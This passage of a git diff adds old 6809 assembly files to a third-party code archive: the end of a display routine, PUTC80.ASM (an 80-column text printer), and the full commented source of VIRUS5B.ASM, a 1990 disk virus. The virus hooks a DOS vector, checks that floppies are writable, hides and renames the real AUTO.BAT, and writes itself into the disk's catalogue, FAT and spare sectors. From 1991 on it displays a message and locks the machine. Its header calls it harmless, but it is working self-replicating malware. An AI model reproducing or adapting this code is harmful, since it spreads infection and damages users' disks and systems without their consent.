+SUIT2 BSR RAMB
+ LSLA
+ BCC SUIT3
+ BSR SUB2
+SUIT3 LSLA
+ BCC SUIT4
+ BSR SUB3
+SUIT4 PULS B,PC
+************
+****SUB2****
+************
+SUB2 LDB ,U
+ ANDB #$0F
+ STB ,U
+ LDB COUL,PCR
+ ASLB
+ ASLB
+ ASLB
+ ASLB
+ ORB ,U
+ STB ,U
+ RTS
+************
+****SUB3****
+************
+SUB3 LDB ,U
+ ANDB #$F0
+ STB ,U
+ LDB COUL,PCR
+ ORB ,U
+ STB ,U
+ RTS
+************
+****RAMA****
+************
+RAMA LDB >$E7C3
+ ORB #$01
+ STB >$E7C3
+ RTS
+************
+****RAMB****
+************
+RAMB LDB >$E7C3
+ ANDB #$FE
+ STB >$E7C3
+ RTS
+*************
+****STOCK****
+*************
+COUL FCB $01
+COL FCB $00
+LIG FCB $00
+TEX FDB $0000
+POL FDB $0000
+NUM FCB $00
+TAB FCC \+-/*,\
+ FCB 127
+ FCC \'?.=:$\
+ END
diff --git a/code/3rdparty/sources6-divers/TextPrint/PUTC80.ASM b/code/3rdparty/sources6-divers/TextPrint/PUTC80.ASM
new file mode 100644
index 0000000..3a3d4f8
--- /dev/null
+++ b/code/3rdparty/sources6-divers/TextPrint/PUTC80.ASM
@@ -0,0 +1,180 @@
+*************************
+* *
+* PUTC80.ASM * DISK RESEAU 1
+* *
+*************************
+
+ ORG $A000
+ PSHS A,B,X,Y,U,CC
+ LDA COL,PCR
+ CMPA #80
+ BHS FIN
+ LDA LIG,PCR
+ CMPA #24
+ BLS S01
+FIN LDB #$07
+ JSR >$E803
+FIN1 PULS A,B,X,Y,U,CC
+ RTS
+S01 LDB #$08 *CALCULS :
+ MUL
+ LDA #$28 *NO LIG
+ MUL
+ ADDD #$4000 *ADR D'AFFICHA
+ TFR D,X
+ LDB COL,PCR
+ LSRB *DIVISE COL
+ ABX *PAR 2.
+ TFR X,U
+ LDX TEX,PCR
+DEBUT LDY POL,PCR *MODIFIE
+ LDA ,X+ *NUMERO LETTRE
+ CMPA #$1F
+ BLS FIN1
+ CMPA #$7F
+ BHI FIN1
+ CMPA #64 *TEST SI A-Z
+ BLS S02
+ CMPA #91
+ BHS S02
+ SUBA #65
+ BRA SUIT
+S02 CMPA #96 *TEST SI a-z
+ BLS S03
+ CMPA #127
+ BEQ S05
+ SUBA #45
+ BRA SUIT
+S03 CMPA #47 *TEST SI 0-9
+ BLS S04
+ CMPA #58
+ BHS S04
+ SUBA #06
+ BRA SUIT
+S04 CMPA #36 *TEST SI -#
+ BHS S05
+ SUBA #06
+ BRA SUIT
+S05 LDB #30
+ PSHS U
+ LEAU TAB,PCR
+S06 CMPA ,U+
+ BEQ S07
+ INCB
+ CMPB #42
+ BNE S06
+S07 TFR B,A
+ PULS U
+SUIT LDB #8
+ STA NUM,PCR
+ LSRA
+ MUL
+ LEAY D,Y
+ BSR AFFI
+ INC COL,PCR
+ LDA COL,PCR
+ CMPA #80
+ BNE S08
+ CLR COL,PCR
+ INC LIG,PCR
+ LDA LIG,PCR
+ CMPA #25
+ LBEQ FIN
+ LEAU $118,U
+S08 LDA COL,PCR
+ LSRA
+ LSLA
+ CMPA COL,PCR
+ BNE S09
+ LEAU $01,U
+S09 LBRA DEBUT
+************************
+****AFFICHAGE LETTRE****
+************************
+AFFI BSR RAMA *PRISE EN COMPTE
+ LDA COL,PCR *COLONNE
+ LSRA
+ LSLA
+ CMPA COL,PCR
+ BNE S12
+ LDB #$08
+S11 LDA ,U
+ ANDA #$0F
+ STA ,U
+ LDA ,Y+
+ PSHS B
+ LDB NUM,PCR
+ LSRB
+ LSLB
+ CMPB NUM,PCR
+ BEQ S111
+ LSLA
+ LSLA
+ LSLA
+ LSLA
+S111 PULS B
+ ANDA #$F0
+ ORA ,U
+ STA ,U
+ LEAU $28,U
+ DECB
+ BNE S11
+ BRA S13
+S12 LDB #$08
+S122 LDA ,U
+ ANDA #$F0
+ STA ,U
+ LDA ,Y+
+ PSHS B
+ LDB NUM,PCR
+ LSRB
+ LSLB
+ CMPB NUM,PCR
+ BNE S121
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+S121 PULS B
+ ANDA #$0F
+ ORA ,U
+ STA ,U
+ LEAU $28,U
+ DECB
+ BNE S122
+S13 LEAU -$140,U
+ BSR RAMB
+ LDA >$603B
+ LDB #$08
+S131 STA ,U
+ LEAU $28,U
+ DECB
+ BNE S131
+ LEAU -$140,U
+ RTS
+************
+****RAMA****
+************
+RAMA LDA >$E7C3
+ ORA #$01
+ STA >$E7C3
+ RTS
+************
+****RAMB****
+************
+RAMB LDA >$E7C3
+ ANDA #$FE
+ STA >$E7C3
+ RTS
+*************
+****STOCK****
+*************
+COL FCB $00
+LIG FCB $00
+TEX FDB $0000
+POL FDB $0000
+NUM FCB $00
+TAB FCC \+-/*,\
+ FCB 127
+ FCC \'?.=:$\
+ END
diff --git a/code/3rdparty/sources6-divers/VIRUS5B.ASM b/code/3rdparty/sources6-divers/VIRUS5B.ASM
new file mode 100644
index 0000000..67f5698
--- /dev/null
+++ b/code/3rdparty/sources6-divers/VIRUS5B.ASM
@@ -0,0 +1,322 @@
+************ par Michel SAINT-BRIANT
+* *
+* VIRUS 5B * A.S.C.I. 1990 Copyright
+* *
+************ (ce virus est inoffensif)
+
+LOCAL EQU $8880
+DEP EQU $A000-LOCAL-2
+TAMPON EQU $7065
+
+ ORG $A100
+
+* On prépare la sortie
+
+ PSHS U,X,Y,DP,A,B,CC
+
+* le virus doit se montrer à partir de
+* 1991 (si la date a été entrée !)
+
+ LDA $607E Registre-année
+ CMPA #91 si contenu < 91
+ BLO INSTAL VIRUS5B s'installe
+
+* en 1991 et années suivantes,le virus
+* se manifeste par un affichage et un
+* plantage irréversible
+
+MESSAG LDX #TEXTE affiche le
+ LDB #$C message après
+PRINT JSR $E803 effacement
+ LDB ,X+
+ COMB
+ BNE PRINT
+ STX $60FE pour RESET à froid
+PLANTE BRA PLANTE boucle sans fin
+
+* installer le virus pour contamination
+
+INSTAL LDU #$A001
+ LDX #LOCAL
+ LDA #$FF
+ STA ,X+
+ LDD #$470A
+ STD ,X++
+COPIE LDA ,U+
+ STA ,X+
+ CMPX #$A3FF-DEP
+ BNE COPIE
+ LDX #CONTAG-DEP
+ LDA #$7E
+ STX $6806
+ STA $6805
+
+* on sort discrètement pour le vrai
+* AUTO.BAT
+
+FIN PULS CC,A,B,DP,X,Y,U,PC
+
+* Partie 'CONTAGIEUSE'
+
+CONTAG PSHS U,X,Y,DP,B,A,CC
+
+ CMPA #$80 en entrée A est le
+ BLO QUITTE 'DEVICE in use':si
+ CMPA #$84 ce n'est pas un
+ BHI QUITTE lecteur, on sort.
+
+ LDX #LOCAL Vérification de l'
+ LEAY ,X intégrité de VIRUS
+CHECKS LDB ,X+ 5B avant tentative
+ LEAY B,Y de contamination.
+ CMPX #$A3F4-DEP On procède par
+ BNE CHECKS un checksum sur 16
+ LDD ,X bits qui détecte
+ LEAX D,Y toute modification
+ BEQ SUITE (si modif. sortie)
+ LDA #$39 RTS mis en $6805
+ STA $6805 désactive VIRUS5B
+ BRA QUITTE
+
+SUITE LDU $61C7 U = pointeur BASIC
+ LDA ,U+ si nul
+ BEQ DEVICE ou > DEVICE
+ CMPA #$3A si ':'
+ BEQ DEVICE
+ CMPA #$22 si pas '"' alors
+ BNE QUITTE on sort
+ LDD ,U si '"' alors le
+ CMPB #$3A 3ème est-il ':'?
+ BNE DEVICE si pas ':'>DEVICE
+ CMPA #$30 si":"a-t-on'"0:'?
+ BEQ OK si oui c'est OK
+
+QUITTE PULS CC,A,B,DP,X,Y,U,PC
+
+DEVICE LDA $6768 le lecteur par dé-
+ CMPA #$80 faut est-il "0:" ?
+ BNE QUITTE si non on sort
+
+* OK c'est à dire qu'on a une fonction
+* ayant accès au lecteur 0: (DIR,LOAD(m)
+* SAVE(m),OPEN,MERGE,COPY...)
+* Voyons maintenant si la disquette est
+* protégée en écriture (oui = fichu !)
+
+OK JSR $E09D initialise DOS
+ CLR <$49 lecteur 0:
+ LDA #20 on se cale sur
+ STA <$4B la piste 20
+ JSR $E452 accès disquette
+ LDA $E7D1 on lit $E7D1
+ LDB #$40 et on éteint la
+ STB $E7D2 diode-disquette
+ ANDA #4 on teste le bit 2
+ BNE QUITTE si 1 protégée
+
+* la disquette n'est pas protégée.
+* Examinons sa FAT
+
+ LDA #2
+ STA <$48 lecture du
+ STA <$4C secteur 2
+ LDX #TAMPON dans la zone
+ STX <$4F $624F/$634E
+ JSR $E004 appel DOS
+
+* les secteurs 9 à 12 piste 20 sont-ils
+* libres ? si c'est non, VIRUS 5B est
+* déjà installé donc on sort ou la place
+* est prise par autre chose et on sort.
+
+ LDA TAMPON+42 teste bloc 41
+ CMPA #$FE est-il protégé ?
+ BNE QUITTE si non on quitte.
+
+* y a-t-il plus de 40 fichiers dans la
+* FAT (chaque fin de fichier est codée
+* par $C1 à $C8 donc on compte les $C.)
+
+ LDX #TAMPON+1 début des blocs
+ CLRB compteur à 0
+BLOC LDA ,X+
+ ANDA #$F0
+ CMPA #$C0
+ BNE SUIV
+ INCB
+SUIV CMPX #TAMPON+161 fin 160 blocs
+ BNE BLOC
+ CMPB #40 40 --> 5 secteurs
+ BHI QUITTE donc 1 de sécurité
+
+* tout va bien,il ne reste plus qu'à
+* chercher s'il existe un AUTO.BAT :
+* si non on sort
+
+ LDA #5 on analyse les
+ STA LOCAL-1 entrées dans le
+SECTOR INC <$4C répertoire avec
+ JSR $E004 les secteurs 3/7
+ LDU <$4F
+ LDB #8 8 entrées par
+ENTREE LDY #AB-DEP secteurs
+ TFR U,X
+TESTAB LDA ,X+
+ CMPA ,Y+
+ BEQ TESTAB
+ CMPY #AB+12-DEP
+ BEQ AUTO
+AUTRE LEAU 32,U
+ DECB
+ BNE ENTREE
+ DEC LOCAL-1
+ BNE SECTOR
+PASBAS LBRA QUITTE
+
+* AUTO.BAT trouvé, est-ce bien du basic?
+
+AUTO TSTA
+ BNE PASBAS
+ LDA ,X
+ BNE PASBAS
+
+* on a un AUTO.BAT basic
+
+ LDX #$1B58 on débaptise l'
+ STX ,U++ AUTO.BAT (masque)
+ LDD #$2009 on remplit les 9
+SPACE STA ,U+ autres caractères
+ DECB d'espaces...
+ BNE SPACE
+ LDX #LOCAL-12
+ LEAU 5,U
+ TFR U,Y On sauve le com-
+CODAT1 LDA ,Y+ mentaire et la
+ STA ,X+ date de l'ancien
+ CMPX #LOCAL-1 AUTO.BAT pour
+ BNE CODAT1 recopie après.
+ LDX #$0D1B
+ STX ,U++
+ LDX #$5F18 puis on modifie
+ STX ,U++ pour dissimuler.
+ LDX #$0808
+ STX ,U++
+ CLR ,U
+
+* existe-t-il une entrée libre dans le
+* même secteur ?
+
+ LDB #8
+ LDU <$4F
+LIBR0 LDA ,U
+ BEQ INOCUL
+ CMPA #$FF
+ BEQ INOCUL
+ LEAU 32,U
+ DECB
+ BNE LIBR0
+
+* pas de place sur le même secteur alors
+* on l'écrit ...
+
+ LDA #8 écriture du
+ STA <$48 secteur
+ JSR $E004 modifié
+ LDA #2 lecture du suivant
+
+* cherchons place dans un autre secteur
+
+ LDA #2 pour lecture
+ STA <$48
+ LDA <$4C on sauvegarde le
+ STA LOCAL-1 secteur initial
+PLACE INC <$4C
+ LDA <$4C
+ CMPA LOCAL-1
+ LBEQ QUITTE si on fait le tour
+ CMPA #9 sans trouver > FIN
+ BNE CHERCH
+ LDA #2 si la recherche n'
+ STA <$4C a pas été bonne,on
+ BRA PLACE reprend au début.
+CHERCH JSR $E004
+ LDB #8
+ LDU <$4F
+LIBR1 LDA ,U
+ BEQ INOCUL
+ CMPA #$FF
+ BEQ INOCUL
+ LEAU 32,U
+ DECB
+ BNE LIBR1
+ BRA PLACE
+
+* maintenant on implante VIRUS 5B
+
+* 1/ sur le catalogue
+
+INOCUL LDX #AB-DEP
+ LDB #11
+NOM LDA ,X+
+ STA ,U+
+ DECB
+ BNE NOM
+ CLR ,U+
+ CLR ,U+
+ LDD #$29FE
+ STA ,U+
+ CLR ,U+
+ STB ,U+
+ LDX #LOCAL-12 On recopie le
+CODAT2 LDA ,X+ commentaire et la
+ STA ,U+ date de l'ancien
+ CMPX #LOCAL-1 AUTO.BAT pour
+ BNE CODAT2 faire plus vrai !
+ LDB #5 on complète
+CLEAR CLR ,U+ avec des zéros
+ DECB
+ BNE CLEAR
+ LDA #8 pour écriture
+ STA <$48
+ JSR $E004
+
+* 2/ sur la FAT
+
+ LDA #2
+ STA <$48
+ STA <$4C
+ JSR $E004
+ LDA #$C4
+ STA TAMPON+42
+ LDA #8
+ STA <$48
+ JSR $E004
+
+* 3/ sur les secteurs 9 à 12
+
+ LDD #$0408 4 secteurs
+ STB <$4C depuis le 9
+ LDU #$8781
+ STU <$4F
+
+COPPRO INC <$4C
+ INC <$4F
+ DEC <$50
+ JSR $E004
+ DECA
+ BNE COPPRO
+
+* C'est fini et on sort
+
+ PULS CC,B,A,DP,U,X,Y,PC
+
+* AUTO.BAT
+
+AB FCC "AUTO BAT"
+
+* MESSAGE
+
+TEXTE FCB 255
+
+
+ END